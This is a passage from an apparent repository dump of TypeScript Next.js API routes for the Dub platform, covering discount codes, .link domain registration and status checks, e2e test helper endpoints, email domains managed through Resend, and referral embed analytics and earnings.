code (${discountCodeId}) is not associated with the program.`,\n        code: \"bad_request\",\n      });\n    }\n\n    await prisma.discountCode.update({\n      where: {\n        id: discountCodeId,\n      },\n      data: {\n        discountId: null,\n      },\n    });\n\n    waitUntil(\n      Promise.allSettled([\n        recordAuditLog({\n          workspaceId: workspace.id,\n          programId,\n          action: \"discount_code.deleted\",\n          description: `Discount code (${discountCode.code}) deleted`,\n          actor: session.user,\n          targets: [\n            {\n              type: \"discount_code\",\n              id: discountCode.id,\n              metadata: discountCode,\n            },\n          ],\n        }),\n\n        deleteDiscountCodes(discountCode),\n      ]),\n    );\n\n    return NextResponse.json({ id: discountCode.id });\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n    requiredRoles: [\"owner\", \"member\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/discount-codes/route.ts",
    "content": "import { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { createDiscountCode } from \"@/lib/api/discounts/create-discount-code\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport {\n  createDiscountCodeSchema,\n  DiscountCodeSchema,\n  getDiscountCodesQuerySchema,\n} from \"@/lib/zod/schemas/discount\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/discount-codes - get all discount codes for a partner\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const { partnerId } = getDiscountCodesQuerySchema.parse(searchParams);\n\n    const programEnrollment = await getProgramEnrollmentOrThrow({\n      partnerId,\n      programId,\n      include: {\n        discountCodes: true,\n      },\n    });\n\n    const response = DiscountCodeSchema.array().parse(\n      programEnrollment.discountCodes,\n    );\n\n    return NextResponse.json(response);\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n\n// POST /api/discount-codes - create a discount code\nexport const POST = withWorkspace(\n  async ({ workspace, req, session }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const { partnerId, linkId, code } = createDiscountCodeSchema.parse(\n      await parseRequestBody(req),\n    );\n\n    if (!workspace.stripeConnectId) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message:\n          \"Your workspace isn't connected to Stripe yet. Please install the Stripe integration under /settings/integrations/stripe to proceed.\",\n      });\n    }\n\n    const programEnrollment = await getProgramEnrollmentOrThrow({\n      partnerId,\n      programId,\n      include: {\n        links: true,\n        discount: true,\n        discountCodes: true,\n        partner: {\n          select: {\n            id: true,\n            name: true,\n          },\n        },\n      },\n    });\n\n    const { links, discount } = programEnrollment;\n\n    const link = links.find((link) => link.id === linkId);\n\n    if (!link) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"Partner link not found.\",\n      });\n    }\n\n    if (!discount) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message:\n          \"No discount is assigned to this partner group. Please add a discount before proceeding.\",\n      });\n    }\n\n    // Check for duplicate by code\n    if (code) {\n      const duplicateByCode = await prisma.discountCode.findUnique({\n        where: {\n          programId_code: {\n            programId,\n            code,\n          },\n        },\n      });\n\n      if (duplicateByCode) {\n        throw new DubApiError({\n          code: \"bad_request\",\n          message: `A discount with the code ${code} already exists in the program. Please choose a different code.`,\n        });\n      }\n    }\n\n    // A link can have only one discount code\n    const duplicateByLink = programEnrollment.discountCodes.find(\n      (discountCode) => discountCode.linkId === linkId,\n    );\n\n    if (duplicateByLink) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: `This link already has a discount code (${duplicateByLink.code}) assigned.`,\n      });\n    }\n\n    try {\n      const discountCode = await createDiscountCode({\n        stripeConnectId: workspace.stripeConnectId,\n        partner: programEnrollment.partner,\n        link,\n        discount,\n        code,\n      });\n\n      waitUntil(\n        recordAuditLog({\n          workspaceId: workspace.id,\n          programId,\n          action: \"discount_code.created\",\n          description: `Discount code (${discountCode.code}) created`,\n          actor: session.user,\n          targets: [\n            {\n              type: \"discount_code\",\n              id: discountCode.id,\n              metadata: discountCode,\n            },\n          ],\n        }),\n      );\n\n      return NextResponse.json(DiscountCodeSchema.parse(discountCode));\n    } catch (error) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message:\n          error.code === \"more_permissions_required_for_application\"\n            ? \"STRIPE_APP_UPGRADE_REQUIRED: Your connected Stripe account doesn't have the permissions needed to create discount codes. Please upgrade your Stripe integration in settings or reach out to our support team for help.\"\n            : error.message,\n      });\n    }\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n    requiredRoles: [\"owner\", \"member\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/domains/register/route.ts",
    "content": "import { claimDotLinkDomain } from \"@/lib/api/domains/claim-dot-link-domain\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { DOMAIN_REGISTRATION_ELIGIBLE_WORKSPACES } from \"@/lib/dynadot/constants\";\nimport { registerDomainSchema } from \"@/lib/zod/schemas/domains\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/domains/register - register a domain\nexport const POST = withWorkspace(\n  async ({ workspace, session, req }) => {\n    const { domain } = registerDomainSchema.parse(await parseRequestBody(req));\n\n    if (!DOMAIN_REGISTRATION_ELIGIBLE_WORKSPACES.includes(workspace.id)) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message:\n          \"POST /domains/register is not available for your workspace. Contact support for more information.\",\n      });\n    }\n\n    const response = await claimDotLinkDomain({\n      domain,\n      workspace,\n      userId: session.user.id,\n      skipWorkspaceChecks: true,\n    });\n\n    return NextResponse.json(response, { status: 201 });\n  },\n  {\n    requiredPermissions: [\"domains.write\"],\n    requiredPlan: [\"enterprise\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/domains/status/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { DOMAIN_REGISTRATION_ELIGIBLE_WORKSPACES } from \"@/lib/dynadot/constants\";\nimport { searchDomainsAvailability } from \"@/lib/dynadot/search-domains\";\nimport {\n  DomainStatusSchema,\n  searchDomainSchema,\n} from \"@/lib/zod/schemas/domains\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/domains/status - checks the availability status of one or more domains\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    let { domains } = searchDomainSchema.parse(searchParams);\n\n    if (domains.length === 0) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message:\n          \"You must provide at least one domain to check. We only support .link domains for now.\",\n      });\n    }\n\n    if (!DOMAIN_REGISTRATION_ELIGIBLE_WORKSPACES.includes(workspace.id)) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message:\n          \"GET /domains/status is not available for your workspace. Contact support for more information.\",\n      });\n    }\n\n    const domainsOnDub = await prisma.domain.findMany({\n      where: {\n        slug: {\n          in: domains,\n        },\n        verified: true,\n      },\n      select: {\n        slug: true,\n      },\n    });\n\n    let response: z.infer<typeof DomainStatusSchema>[] = [];\n\n    // if all domains are already registered on Dub, return the status for all domains as false\n    if (domainsOnDub.length > 0) {\n      response = DomainStatusSchema.array().parse(\n        domainsOnDub.map(({ slug: domain }) => ({\n          domain,\n          available: false,\n          price: null,\n          premium: null,\n        })),\n      );\n    }\n\n    domains = domains.filter(\n      (domain) => !domainsOnDub.some((d) => d.slug === domain),\n    );\n\n    if (domains.length > 0) {\n      const domainsToSearch = domains.reduce(\n        (acc, domain, index) => {\n          acc[`domain${index}`] = domain;\n          return acc;\n        },\n        {} as Record<string, string>,\n      );\n\n      const searchResponse = await searchDomainsAvailability({\n        domains: domainsToSearch,\n      });\n\n      response = response.concat(searchResponse);\n    }\n\n    return NextResponse.json(response);\n  },\n  {\n    requiredPermissions: [\"domains.read\"],\n    requiredPlan: [\"enterprise\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/e2e/bounties/[bountyId]/route.ts",
    "content": "import { withWorkspace } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { ACME_PROGRAM_ID } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport { assertE2EWorkspace } from \"../../guard\";\n\n// special endpoint to delete a bounty and all associated submissions (only for e2e tests)\nexport const DELETE = withWorkspace(async ({ params, workspace }) => {\n  assertE2EWorkspace(workspace);\n\n  const { bountyId } = params;\n\n  await prisma.$transaction(async (tx) => {\n    await tx.bountySubmission.deleteMany({\n      where: {\n        bountyId,\n        programId: ACME_PROGRAM_ID,\n      },\n    });\n    const bounty = await tx.bounty.delete({\n      where: {\n        id: bountyId,\n        programId: ACME_PROGRAM_ID,\n      },\n    });\n\n    if (bounty.workflowId) {\n      await tx.workflow.delete({\n        where: {\n          id: bounty.workflowId,\n          programId: ACME_PROGRAM_ID,\n        },\n      });\n    }\n  });\n\n  return NextResponse.json({ id: bountyId });\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/e2e/enrollments/route.ts",
    "content": "import { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\nimport { assertE2EWorkspace } from \"../guard\";\n\n// PATCH /api/e2e/enrollments - Update enrollment (e.g., backdate createdAt)\nexport const PATCH = withWorkspace(\n  async ({ req, workspace }) => {\n    assertE2EWorkspace(workspace);\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n    const body = await req.json();\n    const { partnerId, createdAt } = body;\n\n    const enrollment = await prisma.programEnrollment.update({\n      where: {\n        partnerId_programId: {\n          partnerId,\n          programId,\n        },\n      },\n      data: {\n        ...(createdAt && { createdAt: new Date(createdAt) }),\n      },\n      select: {\n        partnerId: true,\n        programId: true,\n        createdAt: true,\n      },\n    });\n\n    return NextResponse.json(enrollment);\n  },\n  {\n    requiredPermissions: [\"workspaces.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/e2e/guard.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { WorkspaceProps } from \"@/lib/types\";\nimport { ACME_WORKSPACE_ID } from \"@dub/utils\";\n\nexport function assertE2EWorkspace(\n  workspace: Pick<WorkspaceProps, \"id\">,\n): void {\n  if (workspace.id !== ACME_WORKSPACE_ID) {\n    throw new DubApiError({\n      code: \"forbidden\",\n      message: \"E2E endpoints are restricted to the Acme test workspace.\",\n    });\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/e2e/notification-emails/route.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\nimport { assertE2EWorkspace } from \"../guard\";\n\n// GET /api/e2e/notification-emails - Find notification emails\nexport const GET = withWorkspace(async ({ workspace, searchParams }) => {\n  assertE2EWorkspace(workspace);\n\n  const { campaignId, partnerId } = searchParams;\n\n  const emails = await prisma.notificationEmail.findMany({\n    where: {\n      ...(campaignId && { campaignId }),\n      ...(partnerId && { partnerId }),\n      type: \"Campaign\",\n    },\n  });\n\n  return NextResponse.json(emails);\n});\n\n// POST /api/e2e/notification-emails - Create a notification email (for test setup)\nexport const POST = withWorkspace(\n  async ({ req, workspace }) => {\n    assertE2EWorkspace(workspace);\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n    const body = await req.json();\n\n    const email = await prisma.notificationEmail.create({\n      data: {\n        id: createId({ prefix: \"em_\" }),\n        type: \"Campaign\",\n        emailId: body.emailId || `e2e_${Date.now()}`,\n        campaignId: body.campaignId,\n        programId,\n        partnerId: body.partnerId,\n        recipientUserId: body.recipientUserId,\n      },\n    });\n\n    return NextResponse.json(email);\n  },\n  {\n    requiredPermissions: [\"workspaces.write\"],\n  },\n);\n\n// DELETE /api/e2e/notification-emails - Delete notification emails (cleanup)\nexport const DELETE = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    assertE2EWorkspace(workspace);\n\n    const { campaignId } = searchParams;\n\n    if (!campaignId) {\n      return NextResponse.json(\n        { error: \"campaignId is required\" },\n        { status: 400 },\n      );\n    }\n\n    const result = await prisma.notificationEmail.deleteMany({\n      where: {\n        campaignId,\n        type: \"Campaign\",\n      },\n    });\n\n    return NextResponse.json({ deleted: result.count });\n  },\n  {\n    requiredPermissions: [\"workspaces.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/e2e/trigger-workflow/[workflowId]/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { executeSendCampaignWorkflow } from \"@/lib/api/workflows/execute-send-campaign-workflow\";\nimport { parseWorkflowConfig } from \"@/lib/api/workflows/parse-workflow-config\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { WORKFLOW_ACTION_TYPES } from \"@/lib/zod/schemas/workflows\";\nimport { prisma } from \"@dub/prisma\";\nimport { ACME_PROGRAM_ID } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport { assertE2EWorkspace } from \"../../guard\";\n\n// POST /api/e2e/trigger-workflow/[workflowId]\n// Executes a workflow directly with API token auth (no QStash signature needed).\nexport const POST = withWorkspace(async ({ workspace, params }) => {\n  assertE2EWorkspace(workspace);\n\n  const { workflowId } = params;\n\n  try {\n    const workflow = await prisma.workflow.findUnique({\n      where: { id: workflowId, programId: ACME_PROGRAM_ID },\n    });\n\n    if (!workflow) {\n      return NextResponse.json({\n        message: `Workflow ${workflowId} not found. Skipping...`,\n      });\n    }\n\n    if (workflow.disabledAt) {\n      return NextResponse.json({\n        message: `Workflow ${workflowId} is disabled. Skipping...`,\n      });\n    }\n\n    const workflowConfig = parseWorkflowConfig(workflow);\n\n    if (workflowConfig.action.type === WORKFLOW_ACTION_TYPES.SendCampaign) {\n      await executeSendCampaignWorkflow({ workflow });\n    }\n\n    return NextResponse.json({\n      message: `Finished executing workflow ${workflowId}.`,\n    });\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/e2e/workflows/[workflowId]/route.ts",
    "content": "import { withWorkspace } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { ACME_PROGRAM_ID } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport { assertE2EWorkspace } from \"../../guard\";\n\n// PATCH /api/e2e/workflows/[workflowId] - Update workflow (e.g., disable)\nexport const PATCH = withWorkspace(\n  async ({ req, params, workspace }) => {\n    assertE2EWorkspace(workspace);\n\n    const { workflowId } = params;\n    const body = await req.json();\n\n    const workflow = await prisma.workflow.update({\n      where: { id: workflowId, programId: ACME_PROGRAM_ID },\n      data: {\n        disabledAt: body.disabledAt ? new Date(body.disabledAt) : null,\n      },\n      select: {\n        id: true,\n        disabledAt: true,\n      },\n    });\n\n    return NextResponse.json(workflow);\n  },\n  {\n    requiredPermissions: [\"workspaces.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/e2e/workflows/route.ts",
    "content": "import { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\nimport { assertE2EWorkspace } from \"../guard\";\n\n// GET /api/e2e/workflows - Find workflow by bountyId, campaignId, or groupId\nexport const GET = withWorkspace(async ({ workspace, searchParams }) => {\n  assertE2EWorkspace(workspace);\n\n  const programId = getDefaultProgramIdOrThrow(workspace);\n\n  const { bountyId, campaignId, groupId } = searchParams;\n\n  const workflow = await prisma.workflow.findFirst({\n    where: {\n      programId,\n      ...(bountyId && { bounty: { id: bountyId } }),\n      ...(campaignId && { campaign: { id: campaignId } }),\n      ...(groupId && { partnerGroup: { id: groupId } }),\n    },\n    select: {\n      id: true,\n      trigger: true,\n      actions: true,\n      triggerConditions: true,\n      disabledAt: true,\n    },\n  });\n\n  return NextResponse.json(workflow);\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/email-domains/[domain]/route.ts",
    "content": "import { CAMPAIGN_ACTIVE_STATUSES } from \"@/lib/api/campaigns/constants\";\nimport { getEmailDomainOrThrow } from \"@/lib/api/domains/get-email-domain-or-throw\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { qstash } from \"@/lib/cron\";\nimport {\n  EmailDomainSchema,\n  updateEmailDomainBodySchema,\n} from \"@/lib/zod/schemas/email-domains\";\nimport { resend } from \"@dub/email/resend\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// PATCH /api/email-domains/[domain] - update an email domain\nexport const PATCH = withWorkspace(\n  async ({ workspace, params, req }) => {\n    const { domain } = params;\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const { slug } = updateEmailDomainBodySchema.parse(\n      await parseRequestBody(req),\n    );\n\n    const emailDomain = await getEmailDomainOrThrow({\n      programId,\n      domain,\n    });\n\n    const domainChanged = slug && slug !== emailDomain.slug;\n\n    // Prevent updating verified domains that have active campaigns\n    if (domainChanged) {\n      const activeCampaignsCount = await prisma.campaign.count({\n        where: {\n          programId,\n          status: {\n            in: CAMPAIGN_ACTIVE_STATUSES,\n          },\n          from: {\n            endsWith: `@${emailDomain.slug}`,\n          },\n        },\n      });\n\n      if (activeCampaignsCount > 0) {\n        throw new DubApiError({\n          code: \"bad_request\",\n          message: `There are active campaigns using this email domain. You can not update it until all campaigns are completed or paused.`,\n        });\n      }\n    }\n\n    let resendDomainId: string | undefined;\n\n    if (domainChanged) {\n      if (!resend) {\n        throw new DubApiError({\n          code: \"internal_server_error\",\n          message: \"Resend is not configured.\",\n        });\n      }\n\n      if (emailDomain.resendDomainId) {\n        await resend.domains.remove(emailDomain.resendDomainId);\n      }\n\n      const { data: resendDomain, error } = await resend.domains.create({\n        name: slug,\n      });\n\n      if (error) {\n        throw new DubApiError({\n          code: \"unprocessable_entity\",\n          message: error.message,\n        });\n      }\n\n      resendDomainId = resendDomain.id;\n\n      waitUntil(\n        (async () => {\n          // Moving the updates to Qstash because updating the domain immediately after creation can fail.\n          const response = await qstash.publishJSON({\n            url: `${APP_DOMAIN_WITH_NGROK}/api/cron/email-domains/update`,\n            method: \"POST\",\n            delay: 1 * 60, // 1 minute delay\n            body: {\n              domainId: emailDomain.id,\n            },\n          });\n\n          if (!response.messageId) {\n            console.error(\n              `Failed to queue email domain update for domain ${emailDomain.id}`,\n              response,\n            );\n          } else {\n            console.log(\n              `Queued email domain update for domain ${emailDomain.id}`,\n              response,\n            );\n          }\n        })(),\n      );\n    }\n\n    try {\n      const updatedEmailDomain = await prisma.emailDomain.update({\n        where: {\n          id: emailDomain.id,\n        },\n        data: {\n          slug,\n          ...(domainChanged && {\n            resendDomainId,\n            status: \"pending\",\n          }),\n        },\n      });\n\n      return NextResponse.json(EmailDomainSchema.parse(updatedEmailDomain));\n    } catch (error) {\n      console.error(error);\n\n      if (\n        error instanceof Prisma.PrismaClientKnownRequestError &&\n        error.code === \"P2002\"\n      ) {\n        throw new DubApiError({\n          code: \"conflict\",\n          message: `This ${slug} domain has been registered already by another program.`,\n        });\n      }\n\n      throw new DubApiError({\n        code: \"internal_server_error\",\n        message: error.message,\n      });\n    }\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n    requiredPermissions: [\"domains.write\"],\n  },\n);\n\n// DELETE /api/email-domains/[domain] - delete an email domain\nexport const DELETE = withWorkspace(\n  async ({ workspace, params }) => {\n    const { domain } = params;\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const emailDomain = await getEmailDomainOrThrow({\n      programId,\n      domain,\n    });\n\n    // Check if any active campaigns use this domain\n    const activeCampaignsCount = await prisma.campaign.count({\n      where: {\n        programId,\n        status: {\n          in: CAMPAIGN_ACTIVE_STATUSES,\n        },\n        from: {\n          endsWith: `@${emailDomain.slug}`,\n        },\n      },\n    });\n\n    if (activeCampaignsCount > 0) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: `There are active campaigns using this email domain. You can not delete it until all campaigns are completed or paused.`,\n      });\n    }\n\n    await prisma.emailDomain.delete({\n      where: {\n        id: emailDomain.id,\n      },\n    });\n\n    if (emailDomain.resendDomainId && resend) {\n      await resend.domains.remove(emailDomain.resendDomainId);\n    }\n\n    return NextResponse.json({ id: emailDomain.id });\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n    requiredPermissions: [\"domains.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/email-domains/[domain]/verify/route.ts",
    "content": "import { getEmailDomainOrThrow } from \"@/lib/api/domains/get-email-domain-or-throw\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { resend } from \"@dub/email/resend\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/email-domains/[domain]/verify - verify an email domain\nexport const GET = withWorkspace(\n  async ({ workspace, params }) => {\n    const { domain } = params;\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const emailDomain = await getEmailDomainOrThrow({\n      programId,\n      domain,\n    });\n\n    if (!resend) {\n      throw new DubApiError({\n        code: \"internal_server_error\",\n        message: \"Resend is not configured.\",\n      });\n    }\n\n    if (!emailDomain.resendDomainId) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"Resend domain ID is not found for this domain.\",\n      });\n    }\n\n    const [verificationResponse, domainResponse] = await Promise.all([\n      resend.domains.verify(emailDomain.resendDomainId),\n      resend.domains.get(emailDomain.resendDomainId),\n    ]);\n\n    if (verificationResponse.error || domainResponse.error) {\n      throw new DubApiError({\n        code: \"internal_server_error\",\n        message:\n          verificationResponse.error?.message ||\n          domainResponse.error?.message ||\n          \"Failed to verify email domain. Please try again later.\",\n      });\n    }\n\n    if (emailDomain.status !== domainResponse.data.status) {\n      await prisma.emailDomain.update({\n        where: {\n          id: emailDomain.id,\n        },\n        data: {\n          status: domainResponse.data.status,\n          lastChecked: new Date(),\n        },\n      });\n    }\n\n    return NextResponse.json(domainResponse.data);\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n    requiredPermissions: [\"domains.read\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/email-domains/route.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { qstash } from \"@/lib/cron\";\nimport {\n  createEmailDomainBodySchema,\n  EmailDomainSchema,\n} from \"@/lib/zod/schemas/email-domains\";\nimport { resend } from \"@dub/email/resend\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/email-domains - get all email domains for a program\nexport const GET = withWorkspace(\n  async ({ workspace }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const emailDomains = await prisma.emailDomain.findMany({\n      where: {\n        programId,\n      },\n    });\n\n    return NextResponse.json(z.array(EmailDomainSchema).parse(emailDomains));\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n    requiredPermissions: [\"domains.read\"],\n  },\n);\n\n// POST /api/email-domains - create an email domain\nexport const POST = withWorkspace(\n  async ({ workspace, req }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const { slug } = createEmailDomainBodySchema.parse(\n      await parseRequestBody(req),\n    );\n\n    const existingEmailDomain = await prisma.emailDomain.findFirst({\n      where: {\n        programId,\n      },\n    });\n\n    if (existingEmailDomain) {\n      throw new DubApiError({\n        code: \"conflict\",\n        message:\n          \"An email domain has already been configured for this program. Each program can only have one email domain.\",\n      });\n    }\n\n    if (!resend) {\n      throw new DubApiError({\n        code: \"internal_server_error\",\n        message: \"Resend is not configured.\",\n      });\n    }\n\n    const { data: resendDomain, error: resendError } =\n      await resend.domains.create({\n        name: slug,\n      });\n\n    if (resendError) {\n      throw new DubApiError({\n        code: \"unprocessable_entity\",\n        message: resendError.message,\n      });\n    }\n\n    try {\n      const emailDomain = await prisma.emailDomain.create({\n        data: {\n          id: createId({ prefix: \"dom_\" }),\n          workspaceId: workspace.id,\n          programId,\n          slug,\n          resendDomainId: resendDomain.id,\n        },\n      });\n\n      waitUntil(\n        (async () => {\n          // Moving the updates to Qstash because updating the domain immediately after creation can fail.\n          const response = await qstash.publishJSON({\n            url: `${APP_DOMAIN_WITH_NGROK}/api/cron/email-domains/update`,\n            method: \"POST\",\n            delay: 1 * 60, // 1 minute delay\n            body: {\n              domainId: emailDomain.id,\n            },\n          });\n\n          if (!response.messageId) {\n            console.error(\n              `Failed to queue email domain update for domain ${emailDomain.id}`,\n              response,\n            );\n          } else {\n            console.log(\n              `Queued email domain update for domain ${emailDomain.id}`,\n              response,\n            );\n          }\n        })(),\n      );\n\n      return NextResponse.json(EmailDomainSchema.parse(emailDomain), {\n        status: 201,\n      });\n    } catch (error) {\n      // Cleanup to avoid orphaned Resend domains\n      waitUntil(resend.domains.remove(resendDomain.id));\n\n      if (error instanceof Prisma.PrismaClientKnownRequestError) {\n        if (error.code === \"P2002\") {\n          throw new DubApiError({\n            code: \"conflict\",\n            message: `This ${slug} domain has been registered already by another program.`,\n          });\n        }\n      }\n\n      throw new DubApiError({\n        code: \"internal_server_error\",\n        message: error.message,\n      });\n    }\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n    requiredPermissions: [\"domains.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/embed/referrals/analytics/route.ts",
    "content": "import { getAnalytics } from \"@/lib/analytics/get-analytics\";\nimport { withReferralsEmbedToken } from \"@/lib/embed/referrals/auth\";\nimport { parseFilterValue } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/embed/referrals/analytics – get timeseries analytics for a partner\nexport const GET = withReferralsEmbedToken(async ({ links, program }) => {\n  if (links.length === 0) {\n    return NextResponse.json([]);\n  }\n\n  const analytics = await getAnalytics({\n    event: \"composite\",\n    groupBy: \"timeseries\",\n    interval: \"1y\",\n    linkId: parseFilterValue(links.map((link) => link.id)),\n    dataAvailableFrom: program.startedAt ?? program.createdAt,\n  });\n\n  return NextResponse.json(analytics);\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/embed/referrals/earnings/route.ts",
    "content": "import { obfuscateCustomerEmail } from \"@/lib/api/partner-profile/obfuscate-customer-email\";\nimport { REFERRALS_EMBED_EARNINGS_LIMIT } from \"@/lib/constants/misc\";\nimport { withReferralsEmbedToken } from \"@/lib/embed/referrals/auth\";\nimport { generateRandomName } from \"@/lib/names\";\nimport { PartnerEarningsSchema } from \"@/lib/zod/schemas/partner-profile\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/embed/referrals/earnings – get commissions for a partner from an embed token\nexport const GET = withReferralsEmbedToken(\n  async ({ programEnrollment, searchParams }) => {\n    const { page } = z\n      .object({ page: z.coerce.number().optional().default(1) })\n      .parse(searchParams);\n\n    const earnings = await prisma.commission.findMany({\n      where: {\n        earnings: {\n          gt: 0,\n        },\n        programId: programEnrollment.programId,\n        partnerId: programEnrollment.partnerId,\n      },\n      include: {\n        customer: {\n          select: {\n            id: true,\n            email: true,\n            name: true,\n          },\n        },\n        link: {\n          select: {\n            id: true,\n            shortLink: true,\n            url: true,\n          },\n        },\n      },\n      take: REFERRALS_EMBED_EARNINGS_LIMIT,\n      skip: (page - 1) * REFERRALS_EMBED_EARNINGS_LIMIT,\n      orderBy: {\n        createdAt: \"desc\",\n      },\n    });\n\n    return NextResponse.json(\n      z.array(PartnerEarningsSchema).parse(\n        earnings.map((e) => ({\n          ...e,\n          customer: e.customer\n            ? {\n                ...e.customer,\n                email: e.customer.email\n                  ? programEnrollment.customerDataSharingEnabledAt\n                    ? e.customer.email\n                    : obfuscateCustomerEmail(e.customer.email)\n                  : e.customer.name || generateRandomName(),\n              }\n            : null,\n        